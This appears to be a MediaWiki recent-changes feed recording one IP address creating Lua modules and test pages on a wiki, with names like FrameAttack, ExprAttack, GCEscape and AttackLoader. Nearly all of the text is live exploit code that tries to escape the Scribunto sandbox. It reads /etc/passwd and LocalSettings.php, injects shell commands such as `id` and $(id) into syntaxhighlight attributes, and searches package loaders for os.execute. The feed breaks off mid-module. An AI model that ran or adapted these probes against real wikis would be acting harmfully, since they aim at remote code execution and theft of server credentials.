		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test()     local results = {}      -- Test different paths     local paths = {         &amp;quot;/etc/passwd&amp;quot;,         &amp;quot;/etc/hosts&amp;quot;,         &amp;quot;/var/www/html/&amp;quot;,         &amp;quot;/tmp/&amp;quot;,         &amp;quot;LocalSettings.php&amp;quot;,         &amp;quot;../LocalSettings.php&amp;quot;,         &amp;quot;../../LocalSettings.php&amp;quot;,         &amp;quot;/w/LocalSettings.php&amp;quot;,     }      for _, path in ipairs(paths) do         local title = mw.title.new(path)         if title then             local info = {}…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Test different paths&lt;br /&gt;
    local paths = {&lt;br /&gt;
        &amp;quot;/etc/passwd&amp;quot;,&lt;br /&gt;
        &amp;quot;/etc/hosts&amp;quot;,&lt;br /&gt;
        &amp;quot;/var/www/html/&amp;quot;,&lt;br /&gt;
        &amp;quot;/tmp/&amp;quot;,&lt;br /&gt;
        &amp;quot;LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;../LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;../../LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;/w/LocalSettings.php&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for _, path in ipairs(paths) do&lt;br /&gt;
        local title = mw.title.new(path)&lt;br /&gt;
        if title then&lt;br /&gt;
            local info = {}&lt;br /&gt;
            info[1] = &amp;quot;exists=&amp;quot; .. tostring(title.exists)&lt;br /&gt;
            info[2] = &amp;quot;ns=&amp;quot; .. tostring(title.namespace)&lt;br /&gt;
            info[3] = &amp;quot;id=&amp;quot; .. tostring(title.id)&lt;br /&gt;
            info[4] = &amp;quot;isExternal=&amp;quot; .. tostring(title.isExternal)&lt;br /&gt;
            info[5] = &amp;quot;isLocal=&amp;quot; .. tostring(title.isLocal)&lt;br /&gt;
            info[6] = &amp;quot;contentModel=&amp;quot; .. tostring(title.contentModel)&lt;br /&gt;
            info[7] = &amp;quot;text=&amp;quot; .. tostring(title:getContent()):sub(1,50)&lt;br /&gt;
            results[#results+1] = path:sub(1,20) .. &amp;quot;: &amp;quot; .. table.concat(info, &amp;quot;, &amp;quot;)&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot;\n&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestFrameAttack&amp;diff=1018</id>
		<title>TestFrameAttack</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestFrameAttack&amp;diff=1018"/>
		<updated>2026-05-09T06:59:52Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:FrameAttack|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:FrameAttack|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FrameAttack&amp;diff=1017</id>
		<title>模块:FrameAttack</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FrameAttack&amp;diff=1017"/>
		<updated>2026-05-09T06:59:51Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test(frame)     local results = {}     local parent = frame:getParent()     if not parent then results[1] = &amp;quot;no_parent&amp;quot;; return table.concat(results, &amp;quot; | &amp;quot;) end      -- Test 1: Preprocess with syntaxhighlight containing command injection     local preprocess_tests = {         &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;python | id 2&amp;gt;&amp;amp;1\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,         &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;$(id 2&amp;gt;&amp;amp;1)\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,         &amp;quot;&amp;lt;syntaxhighligh…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local results = {}&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent then results[1] = &amp;quot;no_parent&amp;quot;; return table.concat(results, &amp;quot; | &amp;quot;) end&lt;br /&gt;
&lt;br /&gt;
    -- Test 1: Preprocess with syntaxhighlight containing command injection&lt;br /&gt;
    local preprocess_tests = {&lt;br /&gt;
        &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;python | id 2&amp;gt;&amp;amp;1\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;$(id 2&amp;gt;&amp;amp;1)\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;`id 2&amp;gt;&amp;amp;1`\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;{{#expr:1+1}}&amp;quot;,&lt;br /&gt;
        &amp;quot;{{#tag:syntaxhighlight|test|lang=$(id 2&amp;gt;&amp;amp;1)}}&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    for i, pp in ipairs(preprocess_tests) do&lt;br /&gt;
        local ok, out = pcall(parent.preprocess, parent, pp)&lt;br /&gt;
        results[i] = &amp;quot;pp&amp;quot;..i..&amp;quot;=&amp;quot;..tostring(ok)..&amp;quot;:&amp;quot;..tostring(out):sub(1,100)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Test 2: extensionTag directly&lt;br /&gt;
    local ext_tests = {&lt;br /&gt;
        {&amp;quot;syntaxhighlight&amp;quot;, &amp;quot;test&amp;quot;, {lang=&amp;quot;python | id 2&amp;gt;&amp;amp;1&amp;quot;}},&lt;br /&gt;
        {&amp;quot;syntaxhighlight&amp;quot;, &amp;quot;test&amp;quot;, {lang=&amp;quot;$(id 2&amp;gt;&amp;amp;1)&amp;quot;}},&lt;br /&gt;
        {&amp;quot;syntaxhighlight&amp;quot;, &amp;quot;test&amp;quot;, {lang=&amp;quot;`id 2&amp;gt;&amp;amp;1`&amp;quot;}},&lt;br /&gt;
        {&amp;quot;math&amp;quot;, &amp;quot;\\frac{1}{2}&amp;quot;, {}},&lt;br /&gt;
    }&lt;br /&gt;
    for i, et in ipairs(ext_tests) do&lt;br /&gt;
        local ok, out = pcall(parent.extensionTag, parent, et[1], et[2], et[3])&lt;br /&gt;
        results[5+i] = &amp;quot;ext&amp;quot;..i..&amp;quot;=&amp;quot;..tostring(ok)..&amp;quot;:&amp;quot;..tostring(out):sub(1,100)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestExprAttack&amp;diff=1016</id>
		<title>TestExprAttack</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestExprAttack&amp;diff=1016"/>
		<updated>2026-05-09T06:57:05Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:ExprAttack|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:ExprAttack|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:ExprAttack&amp;diff=1015</id>
		<title>模块:ExprAttack</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:ExprAttack&amp;diff=1015"/>
		<updated>2026-05-09T06:57:04Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test()     local pf = mw.ext.ParserFunctions     if not pf or not pf.expr then return &amp;quot;no_expr&amp;quot; end      local results = {}      -- Try injecting system commands through expr     local injections = {         &amp;quot;system('id')&amp;quot;,         &amp;quot;eval('system', 'id')&amp;quot;,         &amp;quot;exec('id')&amp;quot;,         &amp;quot;shell_exec('id')&amp;quot;,         &amp;quot;passthru('id')&amp;quot;,         &amp;quot;popen('id', 'r')&amp;quot;,         &amp;quot;' . system('id') . '&amp;quot;,         &amp;quot;'+system('id')+'&amp;quot;,     }      for _, inj…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local pf = mw.ext.ParserFunctions&lt;br /&gt;
    if not pf or not pf.expr then return &amp;quot;no_expr&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Try injecting system commands through expr&lt;br /&gt;
    local injections = {&lt;br /&gt;
        &amp;quot;system('id')&amp;quot;,&lt;br /&gt;
        &amp;quot;eval('system', 'id')&amp;quot;,&lt;br /&gt;
        &amp;quot;exec('id')&amp;quot;,&lt;br /&gt;
        &amp;quot;shell_exec('id')&amp;quot;,&lt;br /&gt;
        &amp;quot;passthru('id')&amp;quot;,&lt;br /&gt;
        &amp;quot;popen('id', 'r')&amp;quot;,&lt;br /&gt;
        &amp;quot;' . system('id') . '&amp;quot;,&lt;br /&gt;
        &amp;quot;'+system('id')+'&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for _, inj in ipairs(injections) do&lt;br /&gt;
        local ok, ret = pcall(pf.expr, inj)&lt;br /&gt;
        local status = tostring(ok)&lt;br /&gt;
        if ok and ret then&lt;br /&gt;
            status = status .. &amp;quot;:&amp;quot; .. tostring(ret):sub(1,100)&lt;br /&gt;
        end&lt;br /&gt;
        results[#results+1] = inj:sub(1,30) .. &amp;quot;=&amp;quot; .. status&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestGCEscape&amp;diff=1014</id>
		<title>TestGCEscape</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestGCEscape&amp;diff=1014"/>
		<updated>2026-05-09T06:57:02Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:GCEscape|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:GCEscape|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:GCEscape&amp;diff=1013</id>
		<title>模块:GCEscape</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:GCEscape&amp;diff=1013"/>
		<updated>2026-05-09T06:57:01Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test()     local results = {}     results[1] = &amp;quot;newproxy=&amp;quot; .. type(newproxy)      if newproxy then         -- Create userdata with metatable         local ud = newproxy(true)         if ud then             results[2] = &amp;quot;ud_created=OK&amp;quot;             local mt = getmetatable(ud)             if mt then                 -- __gc runs with less sandbox restrictions in some Lua implementations                 -- Store captured data in _G…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
    results[1] = &amp;quot;newproxy=&amp;quot; .. type(newproxy)&lt;br /&gt;
&lt;br /&gt;
    if newproxy then&lt;br /&gt;
        -- Create userdata with metatable&lt;br /&gt;
        local ud = newproxy(true)&lt;br /&gt;
        if ud then&lt;br /&gt;
            results[2] = &amp;quot;ud_created=OK&amp;quot;&lt;br /&gt;
            local mt = getmetatable(ud)&lt;br /&gt;
            if mt then&lt;br /&gt;
                -- __gc runs with less sandbox restrictions in some Lua implementations&lt;br /&gt;
                -- Store captured data in _G&lt;br /&gt;
                results[3] = &amp;quot;mt_setting=OK&amp;quot;&lt;br /&gt;
                mt.__gc = function()&lt;br /&gt;
                    -- This runs during GC - environment may be different&lt;br /&gt;
                    -- Capture as much info as possible&lt;br /&gt;
                    rawset(_G, &amp;quot;GC_ENV&amp;quot;, tostring(require))&lt;br /&gt;
                    rawset(_G, &amp;quot;GC_OS_EXEC&amp;quot;, tostring(os.execute ~= nil))&lt;br /&gt;
                    rawset(_G, &amp;quot;GC_IO_POPEN&amp;quot;, tostring(io ~= nil and io.popen ~= nil))&lt;br /&gt;
                    -- Try to get environment&lt;br /&gt;
                    local env = getfenv and getfenv(0)&lt;br /&gt;
                    rawset(_G, &amp;quot;GC_HAS_ENV&amp;quot;, tostring(env ~= nil))&lt;br /&gt;
                    if env then&lt;br /&gt;
                        for k in pairs(env) do&lt;br /&gt;
                            rawset(_G, &amp;quot;GC_&amp;quot; .. tostring(k), type(env[k]))&lt;br /&gt;
                        end&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
                ud = nil&lt;br /&gt;
                collectgarbage(&amp;quot;collect&amp;quot;)&lt;br /&gt;
                collectgarbage(&amp;quot;collect&amp;quot;)&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Check what we captured in _G&lt;br /&gt;
    local captured = {}&lt;br /&gt;
    for k, v in pairs(_G) do&lt;br /&gt;
        if type(k) == &amp;quot;string&amp;quot; and k:match(&amp;quot;^GC_&amp;quot;) then&lt;br /&gt;
            captured[#captured+1] = k .. &amp;quot;=&amp;quot; .. tostring(v)&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    if #captured &amp;gt; 0 then&lt;br /&gt;
        results[4] = &amp;quot;captured: &amp;quot; .. table.concat(captured, &amp;quot; | &amp;quot;)&lt;br /&gt;
    else&lt;br /&gt;
        results[4] = &amp;quot;no_captured&amp;quot;&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestLoadLibPage&amp;diff=1012</id>
		<title>TestLoadLibPage</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestLoadLibPage&amp;diff=1012"/>
		<updated>2026-05-09T06:56:59Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:TestLoadLib|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TestLoadLib|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:TestLoadLib&amp;diff=1011</id>
		<title>模块:TestLoadLib</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:TestLoadLib&amp;diff=1011"/>
		<updated>2026-05-09T06:56:59Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test()     local results = {}     results[1] = &amp;quot;loadlib=&amp;quot; .. type(package.loadlib or nil)     results[2] = &amp;quot;loaders=&amp;quot; .. type(package.loaders)     results[3] = &amp;quot;preload=&amp;quot; .. type(package.preload)      -- Try package.searchpath     results[4] = &amp;quot;searchpath=&amp;quot; .. type(package.searchpath)      -- List what's available in package     local pk = package     local pkeys = {}     for k, v in pairs(pk) do         pkeys[#pkeys+1] = k .. &amp;quot;=&amp;quot; .. typ…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
    results[1] = &amp;quot;loadlib=&amp;quot; .. type(package.loadlib or nil)&lt;br /&gt;
    results[2] = &amp;quot;loaders=&amp;quot; .. type(package.loaders)&lt;br /&gt;
    results[3] = &amp;quot;preload=&amp;quot; .. type(package.preload)&lt;br /&gt;
&lt;br /&gt;
    -- Try package.searchpath&lt;br /&gt;
    results[4] = &amp;quot;searchpath=&amp;quot; .. type(package.searchpath)&lt;br /&gt;
&lt;br /&gt;
    -- List what's available in package&lt;br /&gt;
    local pk = package&lt;br /&gt;
    local pkeys = {}&lt;br /&gt;
    for k, v in pairs(pk) do&lt;br /&gt;
        pkeys[#pkeys+1] = k .. &amp;quot;=&amp;quot; .. type(v)&lt;br /&gt;
    end&lt;br /&gt;
    results[5] = &amp;quot;package=&amp;quot; .. table.concat(pkeys, &amp;quot;, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestSH_Injection&amp;diff=1010</id>
		<title>TestSH Injection</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestSH_Injection&amp;diff=1010"/>
		<updated>2026-05-09T06:56:48Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“== Backtick in lang == &amp;lt;syntaxhighlight lang=&amp;quot;`id 2&amp;gt;&amp;amp;1`&amp;quot;&amp;gt; TEST_BACKTICK &amp;lt;/syntaxhighlight&amp;gt;  == $(cmd) in lang == &amp;lt;syntaxhighlight lang=&amp;quot;$(id 2&amp;gt;&amp;amp;1)&amp;quot;&amp;gt; TEST_CMDSUB &amp;lt;/syntaxhighlight&amp;gt;  == Pipe in lang == &amp;lt;syntaxhighlight lang=&amp;quot;python | id 2&amp;gt;&amp;amp;1&amp;quot;&amp;gt; TEST_PIPE &amp;lt;/syntaxhighlight&amp;gt;  == Semicolon in lang == &amp;lt;syntaxhighlight lang=&amp;quot;python;id 2&amp;gt;&amp;amp;1&amp;quot;&amp;gt; TEST_SEMI &amp;lt;/syntaxhighlight&amp;gt;  == Newline in lang == &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt; TEST_NEWLINE &amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Backtick in lang ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;`id 2&amp;gt;&amp;amp;1`&amp;quot;&amp;gt;&lt;br /&gt;
TEST_BACKTICK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== $(cmd) in lang ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;$(id 2&amp;gt;&amp;amp;1)&amp;quot;&amp;gt;&lt;br /&gt;
TEST_CMDSUB&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Pipe in lang ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python | id 2&amp;gt;&amp;amp;1&amp;quot;&amp;gt;&lt;br /&gt;
TEST_PIPE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Semicolon in lang ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python;id 2&amp;gt;&amp;amp;1&amp;quot;&amp;gt;&lt;br /&gt;
TEST_SEMI&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Newline in lang ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
TEST_NEWLINE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestAllEnums&amp;diff=1009</id>
		<title>TestAllEnums</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestAllEnums&amp;diff=1009"/>
		<updated>2026-05-09T06:56:40Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“DeepEnum1: {{#invoke:DeepEnum1|test}}  DeepEnum2: {{#invoke:DeepEnum2|test}}  DeepEnum3: {{#invoke:DeepEnum3|test}}  DeepEnum4: {{#invoke:DeepEnum4|test}}  DeepEnum5: {{#invoke:DeepEnum5|test}}  DeepEnum12: {{#invoke:DeepEnum12|test}}  DeepEnum15: {{#invoke:DeepEnum15|test}}  DeepEnum16: {{#invoke:DeepEnum16|test}}  DeepEnum17: {{#invoke:DeepEnum17|test}}  DeepEnum18: {{#invoke:DeepEnum18|test}}  GCSandbox: {{#invoke:GCSandbox|test}}  ShEscape2: {{#invoke:ShEsc…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DeepEnum1:&lt;br /&gt;
{{#invoke:DeepEnum1|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum2:&lt;br /&gt;
{{#invoke:DeepEnum2|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum3:&lt;br /&gt;
{{#invoke:DeepEnum3|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum4:&lt;br /&gt;
{{#invoke:DeepEnum4|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum5:&lt;br /&gt;
{{#invoke:DeepEnum5|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum12:&lt;br /&gt;
{{#invoke:DeepEnum12|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum15:&lt;br /&gt;
{{#invoke:DeepEnum15|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum16:&lt;br /&gt;
{{#invoke:DeepEnum16|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum17:&lt;br /&gt;
{{#invoke:DeepEnum17|test}}&lt;br /&gt;
&lt;br /&gt;
DeepEnum18:&lt;br /&gt;
{{#invoke:DeepEnum18|test}}&lt;br /&gt;
&lt;br /&gt;
GCSandbox:&lt;br /&gt;
{{#invoke:GCSandbox|test}}&lt;br /&gt;
&lt;br /&gt;
ShEscape2:&lt;br /&gt;
{{#invoke:ShEscape2|hello}}&lt;br /&gt;
&lt;br /&gt;
ShEscape3:&lt;br /&gt;
{{#invoke:ShEscape3|hello}}&lt;br /&gt;
&lt;br /&gt;
ShEscape4:&lt;br /&gt;
{{#invoke:ShEscape4|hello}}&lt;br /&gt;
&lt;br /&gt;
ShEscape5:&lt;br /&gt;
{{#invoke:ShEscape5|hello}}&lt;br /&gt;
&lt;br /&gt;
FileWrite2:&lt;br /&gt;
{{#invoke:FileWrite2|test}}&lt;br /&gt;
&lt;br /&gt;
ExpTmplAtk:&lt;br /&gt;
{{#invoke:ExpTmplAtk|test}}&lt;br /&gt;
&lt;br /&gt;
CallPFAtk:&lt;br /&gt;
{{#invoke:CallPFAtk|test}}&lt;br /&gt;
&lt;br /&gt;
ExtTagAtk:&lt;br /&gt;
{{#invoke:ExtTagAtk|test}}&lt;br /&gt;
&lt;br /&gt;
FrameFullEnum:&lt;br /&gt;
{{#invoke:FrameFullEnum|test}}&lt;br /&gt;
&lt;br /&gt;
AddWarningInject:&lt;br /&gt;
{{#invoke:AddWarningInject|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AttackLoader&amp;diff=1008</id>
		<title>模块:AttackLoader</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AttackLoader&amp;diff=1008"/>
		<updated>2026-05-09T06:53:44Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {}  function p.test()     local results = {}     results[1] = &amp;quot;loaders_type=&amp;quot; .. type(package.loaders)      -- If loaders is a table, try each one     if type(package.loaders) == &amp;quot;table&amp;quot; then         results[2] = &amp;quot;loaders_count=&amp;quot; .. #package.loaders         for i, loader in ipairs(package.loaders) do             results[#results+1] = &amp;quot;loader&amp;quot; .. i .. &amp;quot;=&amp;quot; .. type(loader)             if type(loader) == &amp;quot;function&amp;quot; then                 -- Try to load 'os'…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
    results[1] = &amp;quot;loaders_type=&amp;quot; .. type(package.loaders)&lt;br /&gt;
&lt;br /&gt;
    -- If loaders is a table, try each one&lt;br /&gt;
    if type(package.loaders) == &amp;quot;table&amp;quot; then&lt;br /&gt;
        results[2] = &amp;quot;loaders_count=&amp;quot; .. #package.loaders&lt;br /&gt;
        for i, loader in ipairs(package.loaders) do&lt;br /&gt;
            results[#results+1] = &amp;quot;loader&amp;quot; .. i .. &amp;quot;=&amp;quot; .. type(loader)&lt;br /&gt;
            if type(loader) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                -- Try to load 'os' with this loader&lt;br /&gt;
                local ok, result_func = pcall(loader, &amp;quot;os&amp;quot;)&lt;br /&gt;
                results[#results+1] = &amp;quot;  result=&amp;quot; .. tostring(ok) .. &amp;quot;:&amp;quot; .. type(result_func)&lt;br /&gt;
                if ok and type(result_func) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                    -- Execute the returned function to get the module&lt;br /&gt;
                    local ok2, mod = pcall(result_func)&lt;br /&gt;
                    results[#results+1] = &amp;quot;  mod=&amp;quot; .. tostring(ok2) .. &amp;quot;:&amp;quot; .. type(mod)&lt;br /&gt;
                    if ok2 and type(mod) == &amp;quot;table&amp;quot; then&lt;br /&gt;
                        results[#results+1] = &amp;quot;  execute=&amp;quot; .. type(mod.execute)&lt;br /&gt;
                        if mod.execute then&lt;br /&gt;
                            results[#results+1] = &amp;quot;*** EXECUTE FOUND IN LOADER &amp;quot; .. i .. &amp;quot; ***&amp;quot;&lt;br /&gt;
                            local ok3, ret = pcall(mod.execute, &amp;quot;id&amp;quot;)&lt;br /&gt;
                            results[#results+1] = &amp;quot;  exec_result=&amp;quot; .. tostring(ok3) .. &amp;quot;:&amp;quot; .. tostring(ret)&lt;br /&gt;
                        end&lt;br /&gt;
                        -- List all functions in mod&lt;br /&gt;
                        local fns = {}&lt;br /&gt;
                        for k, v in pairs(mod) do&lt;br /&gt;
                            if type(v) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                                fns[#fns+1] = k&lt;br /&gt;
                            end&lt;br /&gt;
                        end&lt;br /&gt;
                        results[#results+1] = &amp;quot;  fns=&amp;quot; .. table.concat(fns, &amp;quot;,&amp;quot;)&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestAttackPKG&amp;diff=1007</id>
		<title>TestAttackPKG</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestAttackPKG&amp;diff=1007"/>
		<updated>2026-05-09T06:53:42Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:AttackPKG|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:AttackPKG|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AttackPKG&amp;diff=1006</id>
		<title>模块:AttackPKG</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AttackPKG&amp;diff=1006"/>
		<updated>2026-05-09T06:53:41Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {}  function p.test()     local results = {}     local loaded = package.loaded     results[1] = &amp;quot;loaded_type=&amp;quot; .. type(loaded)      if loaded then         -- List loaded modules         local keys = {}         for k in pairs(loaded) do             keys[#keys+1] = tostring(k)         end         results[2] = &amp;quot;loaded_keys=&amp;quot; .. table.concat(keys, &amp;quot;, &amp;quot;)          -- Check 'os' specifically         if loaded[&amp;quot;os&amp;quot;] then             local l_os = loaded[&amp;quot;os&amp;quot;]…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
    local loaded = package.loaded&lt;br /&gt;
    results[1] = &amp;quot;loaded_type=&amp;quot; .. type(loaded)&lt;br /&gt;
&lt;br /&gt;
    if loaded then&lt;br /&gt;
        -- List loaded modules&lt;br /&gt;
        local keys = {}&lt;br /&gt;
        for k in pairs(loaded) do&lt;br /&gt;
